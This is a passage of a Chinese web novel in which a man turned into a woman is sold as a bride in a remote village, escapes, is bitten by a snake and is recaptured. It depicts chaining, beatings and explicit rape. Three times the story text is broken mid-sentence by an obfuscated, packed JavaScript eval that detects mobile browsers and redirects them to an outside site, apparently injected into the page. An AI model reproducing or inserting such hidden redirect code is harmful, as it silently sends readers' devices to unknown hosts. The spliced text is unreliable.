岳金群慢慢走了进去,看着女人的样子,五味杂陈,虽然以往他只把女人当作向上爬的梯子,当作生孩子的工具,当作闲时逗趣的娱乐,但是他从来没想过把一个女人像拴犯人,拴牛羊狗一样囚禁。 这不只是把她当作低男人一等的女人,更是一脚踢出了人的范畴,当作家中劣等牲畜对待。 女人的目光黏在岳金群身上,看救命稻草一般,带着无尽的期盼,身体更是跪坐在了地上。 岳金群走到女人身前,使劲拽拴在天花板的锁链,女人见状也加上自身重量一起拽,但是锁链却纹丝不动。 女人眼中的光将熄未熄,又迸发出光彩,抓住岳金群的手,急切说道:“这个锁链拽不下来就别拽了,我的腿被他们打瘸了,解了锁链我也跑不快。 你记住我的信息,等你逃走了,一定要来救我。 我叫尹月,家住x省x市x小区x楼x号,我的爸爸叫xx,我的妈妈叫xx,手机号是1xxxxxxxxxx,你记住,只要你逃出去了,你一定要来救我啊。” 尹月眼泪决堤般的流,不顾肚子的阻碍,疯魔般地向岳金群磕头,不断重复着“你一定要来救我啊,一定要来救我啊。” 岳金群也不由自主流下泪来,第一次和女人共情了。 他以往作为男人,总觉得天朗地阔,无所不能,单论体型也能将坏人吓退,永不会觉得自己会是被害的目标,但是如今成了被拐/卖的女人,又亲眼目睹了身陷如此悲惨境地的女人,他真切感受到,要是逃不出去,这女人的现在,就是他的未来。 他急忙制止尹月,承诺道:“等我出去我一定带人来救你”,又问道:“我要怎样才能出去?我刚被带来,对这个村子不熟悉。” 尹月理智回笼一些,知道岳金群是她能够得救的希望,自是全力以赴告知信息:“我平时也不能自由活动,我听说这个村子是在山里,只有一条能走车的小路通向外面, 现在他们肯定早就把路封上了,但是我听说向北边走,翻过3座山,就能到一条公路,就能出去了。 到了外面公路上后,你不要报警,也不要说自己到底是怎么来的,一定要找其他理由让人带你走。等到了大城市或者其他省再报警。” “不要相信这里的任何村民、任何职业的人,我都试过了。”尹月噙着泪花,殷殷叮嘱,一眨眼,泪又簌簌落下。 忽然又像是想到什么,尹月又在沙发底下隐蔽处摸出几张纸币,一股脑塞给岳金群: “这是我偷偷攒的钱,都给你。那个房间是厨房,有吃的,你拿一些吃的赶紧走吧,我怕他们有人回来了。” 尹月又给岳金群指出厨房的位置,殷切期盼地看着岳金群。 岳金群看手里的钱加在一起也不过十几块,边缘都起毛边了,可以想见这女人在无人时常常珍惜地摩挲这钱。 他害怕如今的自己承受不了这重托,但也不敢耽误,从厨房拿了几个馒头,随手找个塑料袋装了,又冲进了大雨中。 5. 中毒被救 出了门后,岳金群发现外面还是有不少人在四处找他,他小心在植物的遮挡下挪动,按照尹月指的北方,居然一路有惊无险地到了山下。 山下也有人在找他,不过要比村子内的人要少,离他最近的只有两人,岳金群小心躲到一堆茂密的植物下,想等这两人走了便上山去。 “爸,我们要到山上去找吗?” “不去,我们在周边随便找找就行,山上有蛇,大晚上的还是不要去。” “他程有柱都四十多了,还能娶上媳妇。爸,我也快三十了,我什么时候能娶啊?” “还不是你小子没本事,也没带个媳妇回来。 不过这种买来的媳妇咱们不要,你看,这不就跑了,找不回来的话钱也打水漂了。” 说话人停顿了一下,继续说道: “你看老李家的云云怎么样,我跟老李说下,把你妹妹嫁给老李的儿子,云云嫁给你,都不用额外出钱,也都能娶上媳妇,唉,他们家也是娶不上发愁。” “云云?也行吧,那妹妹愿意吗?” “我让你妈跟你妹妹说下就行了。” 岳金群看着这两人越走越远,说话的声音也逐渐消失,这两人也是用方言在交谈,他听不太懂。 零星听到什么“娶媳妇”的字眼,经历这一切后,只觉得这个村子的人太恶心了,不择手段地娶媳妇,人生只剩这一个追求吗? 岳金群趁着这时四下无人,快速爬到山上,借着闪电照射出的光,看到了被踏出来的山间小路,但是他不敢走,怕还有人顺着小路抓他,只敢往茂密处乱钻,向着北方走。 感觉爬了不短的路,许久没听到人声,岳金群双手扶在膝上,累得气喘吁吁,饥渴难耐,但不敢在地上一直待着,正好走到一棵大树下,一人多高的位置正好伸出一枝较粗的树杈。 他还记得小时候调皮爬过树,于是使出自小的手艺,手脚并用艰难往树上爬,粗糙的树皮磨的皮肤生疼。所幸多年不用的技艺没有丢下,好歹是爬到了树杈上。 现在下着大雨,时不时还电闪雷鸣,很是危险,但是现在就算来一道雷把他劈死,他也不愿意被人发现抓去做媳妇。 岳金群坐在树杈上,拿出被挤压变形的馒头,就着雨水啃了几口,也不管会不会吃进什么细菌虫子。 往日他都是食不厌精、脍不厌细的,现在饥渴下,雨也喝得,粗糙馒头也吃得。 很快一个馒头下肚,勉强糊弄了一下肚子,希望剩下的几个馒头能够支撑他翻越这3座山,成功逃出去。 岳金群正要把装着馒头的塑料袋系上,突然感觉小腿一阵刺痛,好像被什么东西咬了一下。 用手摸了一把,好像流了血,岳金群心里一惊,不会是被毒蛇咬了吧? 他感觉头越来越晕,心跳越来越快,呼吸似乎也有点困难,不知道是真的毒性发作,还是被自己的猜测给吓到了。 不一会儿,他的头不受控制一低,便从树杈上栽到地上,失去了知觉,馒头也散落在地,吸饱了雨水,与泥土混成一团。 雨过天晴,旭日初升,黑暗在林中渐渐退去。 一对母女一前一后向山上走来。 “妈,慢点啊,我快跟不上了。” “一大早把我叫醒来捡蘑菇,你怎么不叫哥哥啊。” 女孩十六七岁的样子,肤色微黑,穿着朴素,声音越来越小,低声抱怨。 纵使女儿说的声音小,王引娣还是听到了, “你爸爸和哥哥昨天晚上帮程老根家抓他家新买的媳妇了,一晚上没睡还没找到,才回去没睡一会儿,你还挑起你哥哥的理来了。”一边说一边轻打了女儿一下。 “那你也没叫弟弟啊,弟弟昨天晚上又没去找。” 女孩又低声抱怨一句,又引来母亲的一记巴掌,快速闪身躲过。 “还没找到啊,那有柱哥岂不是又没媳妇了?”女孩又凑近母亲,八卦地低声问道。 “没找到,你可不要到你有柱哥面前蹦跶去,他老爹淋雨找了一晚上都没找到,已经病倒了。小心把你扣下当媳妇。” “我才不会去他们家,他们家想媳妇想疯了,看见个女的都恨不得拉家里去。” “他们家那一支两代单传,家里两光棍儿,程老根又当爹又当妈地拉扯,现在有柱又四十多岁,娶不上就在他这断了,他们着急也是应该的。”王引娣向女儿解释道。 “爱娣,咱家的情况其实也和程老根家差不多,你哥哥快三十了,现在女娃都少,一直娶不上。 我和你爸商量了,想让你跟老李家换亲,你嫁给老李的大儿子李天恩,他家的云云嫁给你哥哥,一个村子都知根知底的,他们一家子老实本分,咱们也好互相照应着。” 王引娣面带为难地跟程爱娣说道,紧张盯着女儿的反应。 “你不让我上高中,也不让我出去打工,就是为了这个吧?” 程爱娣敛了笑容,目光直直看向母亲,眼中有失望,更有埋在深处的怨恨。 “你这是什么话?你不上学也是你自己愿意的,还有你这么小,去哪儿打工?出去就被骗走了。”王引娣呵斥道。 “我愿意的?弟弟能上学,我就不能上学?你们跟我说,供不起我了,我除了退学还能怎么办?我知道,你们就是觉得我是要嫁出去的女儿,供我上学亏本呗。” “爱娣,咱们也不说以前的事,村里都是这样的,妈妈也没办法。 就说这亲事,你爸爸想让你嫁给李天恩换亲,行吗? 等你嫁人后,你想去上学,想去打工都行,我们都管不着你。” “哼,真是给我找的好男人,他李天恩又丑又矮,从小就手脚不干净,还笨的不行。 而且我要是嫁人了还怎么去上学啊?打工也是给他李天恩打。” 程爱娣嘲讽道,“哦~,我早就应该知道的,这不是给我找男人,而是给我哥哥找媳妇,媳妇好就行,给我找男人只是个搭头,才不管他怎么样呢,什么丑的赖的都能塞给我”。 “不行,我不愿意。” 程爱娣最后明确大声拒绝,扭头向山上快步走去,一边走,一边将路上捡的树枝甩到小路两侧的树叶上,发泄着怒气。 王引娣一路追着女儿,向女儿解释道:“爱娣,你也要体谅我们这当父母的啊,我们把你们拉扯大容易吗?不就是想看着你哥哥和弟弟娶妻,你嫁人吗?” “我不想嫁人,我想上学,我想要出去挣钱,我能自己养活自己。” “爱娣,你听妈说,养家是他们男人的事,你看咱家,也是你爸爸在养家啊。咱们女人就是要嫁人生孩子啊。” “爸爸的养家就是让你一个接一个生孩子,每天不停地做家务,还要下田干农活,还要来捡蘑菇吗?不顺心的时候还要打你出气吗?” “爱娣,从小你就最听话了,你是妈妈的小棉袄,最能心疼妈妈,妈妈有什么烦心事都跟你说,就是你爸爸打我的时候,也是你护着我,养你这么大,你就不能再体谅妈妈一次,不能孝顺我们吗?” “我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14730143|157260||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可以孝顺你们,我可以挣钱给你们,但是我对我哥哥没义务,他们是否娶上媳妇跟我没关系,你们不能牺牲我的幸福去换他们的幸福。” “当初初中都不应该让你上,我看你就是上学上多了,人家云云都答应了。 你帮你哥哥娶媳妇,就是帮我和你爸爸呀,就是帮我们分担啊,就是孝顺我们啊。” 看女儿又不说话,只顾发狠似的鞭打小树,王引娣只好又继续诉苦道: “生了你哥哥后,他体弱多病,我生一个死一个,生一个死一个,里面可是有两个儿子啊,生下来就死了,我哭得眼都要瞎了。 好不容易有了你,又有了你弟弟,咱家的日子才算好过了,你爸爸也不怎么打我了。” 王引娣声泪俱下:“我这一辈子苦啊,就想过过顺心的日子,你就不让我好过是吧? 现在就是让你嫁人,又不是让你去死,女人不都是这样吗?我也是被我爸妈嫁给你爸爸的,不也是好好过了一辈子吗?” “在我之前死掉的3个姐姐,也是生下来就是死的?”程爱娣讥讽看向母亲。 “你只想着死掉的那2个儿子,忘了这3个女儿了吧?你就是重男轻女!亏你自己都是个女的。” “要不是那个看事的说你们必须要养个女儿才能养活得了儿子,我能活下来吗?”程爱娣向母亲质问道。 “你,你真是上学上多了,心都野了。”王引娣手指颤抖地指向女儿,狠狠扇了女儿一巴掌。 程爱娣眼中蓄满泪水,恨恨看了母亲一眼后向树林中冲去,也不管是不是小路,胡乱跑着。 脑子乱糟糟的,这么活着,像母亲一样活一辈子,还不如现在跑出一头狼啊,虎啊来咬死她,现在死了都比嫁人好。 突然,程爱娣被什么东西绊倒了,爬起来一看,地上居然趴着一个女人。 头发盖在女人的半边脸上,看不清面容。 程爱娣被吓得尖叫一声,手脚并用爬远一些,这不会是个死人吧? 王引娣也追上来,看到躺在地上的女人也吓了一跳,小心试了鼻息,又看到女人好像有微弱的胸膛起伏,向女儿说道:“这人应该还活着。” “姑娘,你醒醒?”王引娣将女人脸上的头发拨向脑后,程爱娣也凑上前看。 “妈,这不是我们村的人吧?我没见过她。” “不是,我也没见过。”王引娣摇头。 “她不会就是有柱哥跑了的媳妇吧?” “有可能,爱娣你看,她腿上有伤,可能是咱们这山上的蛇咬的。” 王引娣一直生活在村子里,经常上山,对蛇咬伤口再清楚不过,见女人只是昏迷而未死,便猜测她是被本地一种常见毒蛇咬伤。 短时间内不会死,但是会昏迷,一直水米不进也会饿死,得找有治疗经验的村医判断中毒轻重,精准用药才能救醒。 “妈,这不就是现成的媳妇吗?把她给我哥当媳妇呗?我不想嫁给那个李天恩。”程爱娣见四下无人,眼珠一转,向妈妈撒娇。 “先把她送到村医那里去解毒。”王引娣不置可否,将外套脱下来罩在这女人头上,在女儿的帮助下将女人背了起来。 王引娣常年做活,力气也不小,这昏迷的女人虽已成年,但背起来不比一袋粮食重,她轻松得将这女人送到了村医那里。 二人在村医指引下找个空床位放下女人后,却看到程有柱将程老根搀扶着进来,王引娣母女两个都紧张起来,将外套盖的更严实一些,不断挪动身体尽量遮挡。 6. 被抓回 “老叔,我爸爸昨天淋雨后一直高烧不退,吃了药也不管用,您给看看吧。”程有柱一进门就向村医喊道。 “好,我看看,让你爸爸在这个床位吧。”村医随手一指王引娣她们旁边的空床位,与岳金群紧邻着。 “婶儿,你们也来了啊,是哪里不舒服吗?床上躺着的是谁啊?”程有柱向岳金群躺着的床上张望,看身形是个女人。 一看到女人,便怀疑是不是他媳妇儿,不光是他爸爸病倒了,他也魔怔了,看谁都像他昨天跑掉的媳妇,尤其是这种看不到脸的。 “呵呵,没谁,你们先看吧,我们不急。”王引娣僵笑道。 “对,我们不急,大伯的病更重要。”程爱娣也急忙附和。 “什么不急,被蛇咬伤可不是闹着玩的,脸上怎么还盖着衣服,快点掀了,容易憋死。” 村医说着一把扯掉岳金群脸上盖着的衣服,王引娣母女阻止不及。 程有柱看到岳金群的脸,噌得一下站了起来。 “这是我昨天找了一夜的媳妇,你们在哪里捡到的?” 程有柱惊喜过后立刻跑到岳金群身前,紧紧抓住岳金群的手臂。 程老根仿佛忘了发烧难受,猛窜几步坐到岳金群躺着的床上,挤开王引娣母女,按住了岳金群的双腿,生怕她又消失不见,失而复得的喜悦足以媲美任何良药。 “原来是你们家媳妇啊,我说没见过呢。 我们今天早上去山上采蘑菇,见这姑娘晕倒在山上,腿上还被蛇咬伤,这不赶紧送来村医这里。” 王引娣尴尬解释道,推开程爱娣扯她衣袖的手。 “妈,妈……” “既然是你家媳妇,你们好好照顾着吧,我们先走了,还要回去做饭。” 王引娣阻止女儿说话,扯着女儿赶紧走了。 “妈,这女人是我们救来的,就该是我们家的,你怎么这么轻易地就给了程有柱他们家。” 待出了村医家的门,程爱娣立刻不满跺脚。 “既然碰到了程有柱他们,他又认出来,这女人就得还给他。 不然他家既没钱,又没女人,知道这女人被我们带走,还不知道狗急跳墙做出什么事呢?”王引娣向女儿解释道。 “那我怎么办?我说了我不嫁李天恩。就该直接带家去,不该带到村医这儿来。”程爱娣蹙眉怒道。 “就算带家去,也得找村医到家去治疗蛇毒,村医也会透露给程老根,昨天村医也帮忙找人了。 你哥哥也不一定想要她。咱们都是一个村的,不可能藏她一辈子的。” 王引娣找着留不住这个女人的原因,发愁又痛心地看向女儿。 她只是一个没上过学的农妇,心眼儿不多,没那么多弯弯绕绕,一辈子听男人的。 第一次做这种预谋抢人的事,她心里也害怕,怕儿子不喜欢,怕当家的不同意,怕程老根父子上门□□人,也没有提前想好怎么不被人发现,此时不得已将捡来的女人还回去,不禁唉声叹气,心道可惜,但也无可奈何,只得先带着女儿回家。 “爸,媳妇儿回来了!”程有柱嘴角根本压不下去。 “对,对,回来了。我通知一下亲戚们,不用再帮我们找了,已经找到了。”程老根喜极而泣。 “不过婶子她们救人就救人,为什么把衣服盖她脸上,她们是不是想占了我媳妇儿?他们家大儿子程有材还没娶媳妇儿呢。” 程有柱回过神,抓住刚才的疑点。 “这事咱们也没证据,媳妇儿又已经回来,我有时间跟爱娣他爸爸提一下。” 程老根不想去深究王引娣母女的做法,媳妇儿找回来就好,以后只要他这把老骨头不死,就再也不会让她跑了。 “老弟,先给我儿媳妇看看吧。” 程老根看向村医,村医原本是要给岳金群看诊的,但是也被激动的程老根父子挤到了一边。 “你们啊”,村医摇头笑道,“失而复得是好事啊,我先看看。” 村医查看过伤口,翻开岳金群的眼皮看了看瞳仁,又仔细切了一个脉,很快给出诊断。 “这就是咱们本地毒蛇咬伤,中毒不深,将伤口清洗包扎一下,再配个药让她用7天,毒素全部排出就行了。” “不过她这额头上有一片红肿,可能是磕到了,我调个膏药给她贴上,等她醒来再看情况吧。” “好,好,我们就这么把她带回去,等回去了再给她喂药。” 程老根喜不自胜,拿了药立刻将岳金群往儿子背上放。 “唉,等下,老根哥,你不是还发烧吗?我给你也看看?” “我都好了,不难受了,我们先把她带回家吧。我再难受了,再来找你。” 程老根本来就是气急攻心病倒,此刻又见到了儿媳妇,心情舒畅,惊喜之下发了汗,瞬间感觉浑身舒爽。 程有柱背着岳金群走在回家的路上,双手牢牢抓住岳金群的双腿,程老根也紧紧抓着岳金群的手臂,一眼不错地盯着她,唯恐她半路醒了又跑了。 失而复得的喜悦充盈胸膛,原先程有柱还有点嫌弃岳金群长得太男相,但为了娶媳妇生孩子也只好忍了,但是现在他只恨不得将媳妇牢牢拴在自己身上,丢过一次之后什么都不敢嫌弃,只要媳妇儿在就好。 原本他在找媳妇儿的时候,脑子里已经想好了无数种打法,把她彻底打服,让她再也不敢跑。 但是经过一夜的焦急寻找,他已经祈求媳妇儿能回来就行,现在媳妇儿终于回来,别说打,他只想守着她不让她再走。 “爸,我这像不像猪八戒背媳妇儿?” “哈哈哈,有说自己是猪八戒的吗?” “嘿嘿,爸,你真没事了吧?这媳妇儿太能折腾,都把你急病了。” “我没事了,等回去后就把她拴住,生孩子之前,再也不让她出门。 这女人生了孩子,心也就定下来了,就能跟你老老实实过日子。” “老根,儿媳妇儿找到了是吧?摆酒吗?”路上有相熟的村民经过,向兴高采烈的父子俩问到。 “不摆了,等生了孙子,孙子满月再摆酒,到时候你们都来啊。” 程老根转头回应了村民,又快速转回盯着岳金群。 “哈哈哈,好的,到时候一定去,肯定第一胎就给你家生个大胖孙子!” 路上遇到的村民皆喜气洋洋地向程老根父子送上真挚祝福,恭喜他们家新得了媳妇儿,祝福早生贵子。 回到家后,立刻将院子门反锁,程有柱将岳金群放到了床上。 “爸,怎么拴住她啊?李天福家在天花板固定了一条铁链,拴在了他媳妇儿脖子上,这才没跑了,现在都快生了。咱家天花板也没法加铁链了吧?” 程老根在屋内四处看了看, “先用绳子把她腿和手腕绑在床上,待会我出去买铁链,直接把她拴在床上。让她出不去这个屋子就行了。” “好,我先给她喂药吧。” 程老根父子先找来绳子将岳金群四肢固定,呈“大”字形,结结实实捆在床上,除非力大无穷能震碎绳子,否则 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14730144|157260||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 单靠她自己绝对无法解开。 将药熬煮好,捏开她的嘴,强行喂给了她,又将药膏贴在了她的额头。 “药不小心洒她衣服上了。” 程有柱给岳金群擦拭脖颈和衣服上的药汁,只觉手下皮肤光滑细腻,好像骨头也比自己的更加精致轻盈,在自己粗黑手指的对比下,更显肤白如玉,总之和自己摸自己完全不一样。 粗躁的手越摸越停不下来,顺着脖颈慢慢向下滑动。 “咳咳……” 程有柱似乎才发觉老爹还在,慌忙将手抽出来。 程老根看不下去:“我去做点饭,你给她收拾了吧。” 待老爹走后,程有柱又盯着岳金群看了半天,看到自己刚刚摸过的脖颈处慢慢透出了淡淡的血红色,又伸手向岳金群…… 岳金群有意识后,只觉头晕头痛,酸软疲乏,心脏砰砰跳,仿佛僵硬着身体做了一个漫长的噩梦,醒后心有余悸。 他想翻转身体,但却无法动弹,一个激灵快速睁开眼睛,发现自己四肢大张被绑在床上。 艰难抬起头,他发现自己衣服散乱,而且前/胸,下/面不可说的某两处都火辣辣的疼。 这又是谁,又对他做了什么???他要疯了! 他全想起来了,他在逃跑途中被毒蛇咬了,看这现状,是又被找到抓回来了? 他已经打算接受这女人身体,就想过正常、安全、不被惦记身体和生育能力的日子,怎么就这么难? 他颓然地将自己的头摔回床上,直直看向天花板。 这屋子墙都是水泥抹的,坑坑洼洼的,天花板也没做吊顶,除了这张床和墙角的一个柜子,也没件像样的家具。 屋内空气浑浊,他严重怀疑这屋子很臭,只是他在这个屋内待了太久,已经闻不出来。 他以前从来没住过这种半成品似的房子,难道以后这就是他要长住的房子? 这是惩罚吗?他悔过行不行?别玩他了,他宁愿车祸立马就死,也不想受这罪。 他要崩溃了! “这铁链够结实。” “爸,你看这还有铁环,还有锁,方便直接套在她手脚或者脖子上,太方便了。” 外面传来两个男人的走动和说话声,越来越近,岳金群赶紧闭上双眼,装作还在昏迷的样子。 “他还没醒,药没用吗?” 程有柱进来后,看到岳金群还在昏迷,有些怀疑药效。 “先给她把铁链绑上吧,待会拿针扎她一下,看能不能扎醒,得让她吃饭,不吃饭也不行。” “好,我去绑吧。还是绑她的手脚吧,免得她打人,等她不打人了再拴脖子。” 程有柱爬到床上,用铁链绑住岳金群的手脚。 手脚上均有紧贴皮肤的铁环,每个铁环上都有一把小锁,铁环延伸锁链系到床腿,铁链还可以调节长短,给予被锁之人一定的活动范围。 岳金群原本打算在程有柱解开绳子,要换铁链的间隙攻击,已在慢慢积蓄力量,就算毫无作用,也要反抗一番,哪怕给他一拳也好。 但是程有柱先系上锁链才解开绳子,丝毫没给他出拳的机会。 想一想被拐/卖的这一路来,几乎没有给岳金群展示力量的机会,纵使现在他已经是女性的身体,力量相对男性有所削弱,但他遇到的都是多对一,被捆/绑,被迷晕,只能任由摆布,身不由己。 睁开一条缝隙,撇到程老根手上已经准备好了针,他不敢耽搁,可不想多余挨一针,装作慢慢醒来的样子,睁开了眼睛。 7. 洞房 “我这是在哪儿?”岳金群装作不了解情况。 “媳妇儿。这是咱们家,你还记得我吗?我是你丈夫有柱啊,以后咱们好好过日子。” 程有柱操着一口蹩脚的通用语,笑着伸头凑近岳金群,一口大黄牙全露出来,眼睛都要笑没了。 岳金群只觉一阵臭味袭来,仿佛他的嘴里塞了死老鼠,几欲作呕,急忙撇头向另一边。 “求求你们,放了我吧,我给你们钱,多少钱都给,我有钱。”岳金群无法动弹,只好哀声求饶道。 “儿媳妇,你别说了,我们也没别的要求,不贪你的钱,也不打你不骂你,好吃好喝供着你,你就给我家生个孙子,我们就放了你,今天晚上就洞房吧,早点把孙子生出来。”又是一口带着浓重口音的通用语,勉强能够听懂。 程老根站在一边,面容冷肃,以示要孙子的事不容商量。 可不敢因为儿媳妇说给钱就放了她,万一放了她,她去报警呢,把花叔和村里买媳妇的人家都会给害了。 等有了孙子,儿媳妇肯定得为孙子着想,不再想走。 要是真有钱,也会拿出来给孙子用,他们家就既能得到孙子,又能得到儿媳妇的钱。 程有柱转身出去端来一碗饭,上面铺着一层绿油油的菜,不见丝毫荤腥。 将岳金群的铁链稍稍放松了些,使他能够半坐起来,将这碗饭递给了岳金群。 “媳妇儿,吃吧,吃了饭还要吃药呢,你被蛇咬了,得吃药清毒。” 程有柱说着说着,又变成了方言,岳金群又听不懂了。 但是能看出来,这是想让他吃饭,但是看着碗里这青青白白的米饭和青菜,色香味全无,碗的边缘似乎还有未洗净的污渍,岳金群毫无食欲,歪头拒绝。 他看着被略松的铁链,双手慢慢握成拳,思索着要是现在给离他最近的程有柱一拳,用铁链拴住程有柱的脖子,他逃脱的可能性有多高。 在双手双脚均被束缚的情况下,床下一米远又有一个程老根盯着,岳金群觉得逃脱几乎不会成功,但是让他乖乖配合,今晚就躺平任X,他又恨不得自爆把他们都炸死。 岳金群思索着逃出去的办法,不断提出方法又一个一个被自己否掉,最后想到洞房的时候,应该只会有程有柱一个人,自己或许有机会。 程有柱看岳金群不吃,以为又在闹脾气,又要再劝,但见岳金群立刻抬头,夺过碗筷大口吃了起来。程有柱立刻开心起来:“我去给你熬药。” 岳金群想着自己得积蓄体力,不能一点东西不吃,不然晚上更没力气反抗。 但是这碗饭是真难吃,米饭夹生,菜里还能吃出土,只有一点盐味,除此之外毫无滋味。 他什么时候吃过这种饭?一边吃一边恶心,压抑吐个稀里哗啦的冲动,勉强艰难吞咽下去。 程有柱又把药端了过来,他也配合着一饮而尽。 “我答应给你们家生个儿子,只要你们答应到时候放了我就行。”岳金群假意配合,“能不能给我解了铁链,我不跑,绑着我弄得我太疼了。” 岳金群伸手双手,展示自己被勒出来的红痕。 程有柱还在犹豫,程老根立即道:“不行,等生出孙子再给你解开。” “我知道你们不相信我,那能不能再给我松一点,我太难受了,我还被蛇咬了,想跑也没力气啊。 我会好好配合洞房的,我给有柱做女人操持家务。我做饭很好吃,衣服也会洗得很干净。” “爸,再给她松一点吧,别全解开就行。” “你看着办吧,不能让她跑了。”程老根说完就走出去吃饭。 “媳妇儿,我先吃饭,等会我们洞房的时候,我再给你解一点啊。” 程有柱哄道,说完又端着一碗饭进来,吃一口看一眼岳金群,时不时发出嘿嘿的笑声,用岳金群当下饭菜。 岳金群懒得理会他,不断转头四处查看,试图规划出一个逃生路线,就算逃不了,也要拉个垫背的。 暮色四合,窗外慢慢暗了下来,屋内只有一个电灯,照出昏黄的光。 放在网上,这一幕可以是一段很好的怀旧视频素材,能勾起不少人的乡愁记忆,但现在,这却是岳金群的牢笼。 程有柱就着岳金群吃完饭,把碗放下就对着岳金群笑,露出一口大黄牙,还有菜叶子塞在牙缝里。 岳金群不忍直视,扭头避让他的视线。 程有柱却当岳金裙羞涩,笑着上前按在她的肩上,想将半卧的岳金群按躺下。 岳金群急忙制止,努力挤出一个娇羞又僵硬的笑来。 “把我再解开一点吧,我好难受,我一定好好伺候你。” “好,好。”程有柱连忙答应,摸出钥匙将锁链又放长了些。 岳金群觉得这锁链长度应该能锁住程有柱,于是趁着他没把钥匙放好,就主动伸出手要抱他。 程有柱攥着钥匙,就势回应,一张散发臭气的嘴急切地凑近岳金群。 岳金群迅速抬起铁链绕在程有柱脖子上,将他死死按在自己的胸膛,让他发不出声音。 但是岳金群低估了男女体力的差距,如果岳金群全力按压他,不让他发出声音呼叫程老根,就没有足够力气勒断他的脖子,程有柱濒死之下全力挣扎,乱拳打在岳金群身上,疼的他一阵阵痉挛。 “有柱,怎么了?别使劲折腾,当心把腰闪了。”程老根一直在外守着,听到里面扑腾和床板的声音,怕儿子出了什么事。 “啊,轻点有柱,别太用力。”岳金群没想到程老根居然还听墙角,立刻假装发出娇吟。 “救命,爸,救命。”岳金群一时分心,让程有柱抬起了头,向外发出了叫喊。 岳金群看程有柱已经发声了,不再按压他,全力扯着锁链,试图勒断他的脖子。 程老根一听不好,推门而入,见儿子快被勒死了,心神俱裂,疾跑扑到床上,与岳金群抢夺铁链,终于在儿子被勒死前救下了儿子。 程有柱跌在地上,捂着脖子喘粗气,劫后余生一般,他刚刚真的感受到了死亡的临近,以为自己要死了。 “有柱,你没事吧?咱们去看看村医?”程老根顾不得其他,一声嚎叫,扑向儿子,去看程有柱的脖子。 岳金群看到锁链钥匙被程有柱在挣扎中掉在了床上,趁着这对父子没反应过来,拿起来打开手脚的锁,幸好是新锁新钥匙,十分顺利,快速打开后冲出门口,冲向院子。 院子大门是插着的,外面光线十分昏暗,岳金群又紧张又急,如猛虎在追,手忙脚乱在门上四处摸插销想要打开。 程老根父子看岳金群冲出去,也顾不得再检查伤势,立马窜起来向外跑去。 岳金群终于摸到了插销,身后接连传来程老根父子的叫喊,他不敢回头,颤抖着手用力扯开大门。 门在岳金群的焦急心境对比下,如慢动作一般,终于打开了容得下岳金群穿过去的缝隙。 但是在岳金群侧身要跑出去的瞬间,被程老根猛地撞在了门板上,门的缝隙又在瞬间合上了。 “救命,救命。”岳金群哭喊出声,在门上疯狂捶打,却被程老根父子连拖带抱,捂着嘴弄进了屋内。 他被按在床上,一拳砸向腹部,痛的他想要蜷缩起来,但是又被程老根按住上半身,无法动弹。 “有柱,我给你按着她,你脱了她的裤子,你上,今天晚上非得洞房了不可。” 岳金群如案板上的鱼,濒死挣扎,双腿使出全身力气飞踢,但是他的裤子仍被扒下,程有柱沉重的身子压下来。 疼痛让岳金群面容扭曲,程老根枯瘦的胸膛死死压住岳金群的嘶吼,浓厚的劣质烟味混杂着腐朽臭味一阵阵冲击他的嗅觉。 他到最后耗尽力气,慢慢安静下来。 “真是黄花闺女,花叔没骗咱们。”程有柱随便扯过纸擦了擦。 “他要是敢骗人,我就找他退钱去,非得让咱村想买媳妇的都知道,看他还怎么挣钱。”程老根得意哼道。 程老根父子又将岳金群四肢牢牢绑住,一点缝隙都没有留,铁链拉直岳金群的躯体,下身赤裸,四肢大张被绑在床上。 “老实待着,我们爷俩伺候你,直到你生出儿子。”程老根扔下这一句话,带着儿子走出房门,落了锁。 累了,毁灭吧。 岳金群不知道真正的女人在遭受强/奸的时候是什么感受,他想毁灭世界。 “我要上厕所,我要拉屎,我要尿尿。”岳金群大声向外喊道。 这不是他想的又一个逃跑计划,而是真的想要上厕所了,当然,若是能够再次找到逃跑机会,他一定会抓住,说不定这次就能真的成功。 接连喊了好几遍,嗓子都要喊哑了,程有柱终于开锁进来,他手上拿着一团布, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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在岳金群要适应屎尿生活的时候,程有柱终于开始收拾岳金群,为他擦洗了一遍,又换了新的塑料布,岳金群觉得好像活过来了一般,从地狱到天堂也不过如此。 程有柱将擦洗布在盆子里一甩,利索脱了裤子,在岳金群拒绝惊恐的目光中,用被子盖住他的脸,压了下来。 他哼哧哼哧喷着臭气,肥胖的身躯快要把岳金群压扁,双手肆意揉/捏,一个又一个鲜红出血的牙印出现在岳金群身上。 “我根本就不能生孩子,求求你们放了我吧,多少钱我都给你们,你们再去买一个,买十个都行。”岳金群终于绷不住,歇斯底里。 程有柱掐住岳金裙的脖子:“不能生?为什么不能生?你是女人,你就能生,我买你就是要生孩子的。” 